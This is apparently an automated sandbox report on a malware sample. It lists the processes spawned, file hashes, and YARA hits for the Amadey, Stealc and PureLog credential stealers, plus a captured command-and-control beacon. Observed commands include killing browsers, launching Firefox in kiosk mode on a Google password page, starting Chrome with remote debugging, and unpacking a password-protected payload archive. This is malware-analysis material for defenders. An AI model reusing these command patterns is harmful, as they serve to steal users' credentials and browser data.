2024-12-18 14:59:27 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=0B8A630614469655AC8923850305D13E

Target ID:	0
Start time:	09:55:52
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x670000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1377327532.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:55:58
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xdf0000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1442530653.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:56:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdf0000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1455202411.0000000004960000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:56:17
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe"
Imagebase:	0xcb0000
File size:	4'453'888 bytes
MD5 hash:	0AC83051D42C812A3DEB74E093C48F9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:56:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"
Imagebase:	0x5f0000
File size:	1'846'784 bytes
MD5 hash:	C5FEF8513ADA725231AE23A67A73C437
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:56:36
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe"
Imagebase:	0x30000
File size:	2'874'880 bytes
MD5 hash:	E84367D8404D57C0ECE3E82C8C98F087
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.1815284167.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1871163393.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1862764887.0000000000031000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:56:38
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"
Imagebase:	0x5f0000
File size:	1'846'784 bytes
MD5 hash:	C5FEF8513ADA725231AE23A67A73C437
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:56:43
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe"
Imagebase:	0x350000
File size:	972'800 bytes
MD5 hash:	E1F841BEBBEC5D496EA53254BA60EA2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:56:45
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:56:45
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:56:47
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"
Imagebase:	0x5f0000
File size:	1'846'784 bytes
MD5 hash:	C5FEF8513ADA725231AE23A67A73C437
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:56:47
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:56:47
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:56:47
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:56:47
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:56:48
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:56:48
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:56:48
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:56:48
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:56:49
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:56:49
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:56:49
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:56:50
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	09:56:50
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2264 -prefMapHandle 2256 -prefsLen 25358 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcfaf450-84ad-41b1-85c6-b82510a90f81} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cda26e910 socket
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:56:51
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe"
Imagebase:	0x7a0000
File size:	1'809'920 bytes
MD5 hash:	2232B014AE8B1313BF45D61F44AE5F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:56:53
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3852 -parentBuildID 20230927232528 -prefsHandle 3372 -prefMapHandle 3344 -prefsLen 26373 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {87027c66-8717-4a63-88f3-4cd38ca72be3} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cec25c410 rdd
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:56:55
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe"
Imagebase:	0x30000
File size:	2'874'880 bytes
MD5 hash:	E84367D8404D57C0ECE3E82C8C98F087
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.2009852961.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2097143287.0000000000031000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:56:59
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:57:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdf0000
File size:	2'956'800 bytes
MD5 hash:	3A61C20A67DE482B185AB4698AA6B4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.2101033367.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.2058390837.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:57:03
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2436,i,5964267512921844508,5408738555003617198,262144 /prefetch:8
Imagebase:	0x7ff6c5c30000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:57:03
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe"
Imagebase:	0x350000
File size:	972'800 bytes
MD5 hash:	E1F841BEBBEC5D496EA53254BA60EA2D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:57:05
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:57:09
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:57:09
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:57:12
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff6fcb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	09:57:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	09:57:12
Start date:	18/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff65a7f0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:57:13
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe"
Imagebase:	0x7a0000
File size:	1'809'920 bytes
MD5 hash:	2232B014AE8B1313BF45D61F44AE5F84
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	09:57:14
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xca0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:57:16
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"
Imagebase:	0x920000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000002C.00000000.2196706188.0000000000922000.00000002.00000001.01000000.0000001F.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	09:57:16
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe"
Imagebase:	0xd60000
File size:	1'809'920 bytes
MD5 hash:	2232B014AE8B1313BF45D61F44AE5F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:57:17
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xca0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	09:57:19
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"
Imagebase:	0x9e0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	09:57:19
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xca0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	09:57:21
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x700000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	09:57:21
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	09:57:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xca0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	757
Total number of Limit Nodes:	16

Executed Functions

Function 00675C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 006760FA
00000422, xrefs: 006760C9
00000419, xrefs: 00676098
Keyboard Layout\Preload, xrefs: 00676054
0000043f, xrefs: 0067612B

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
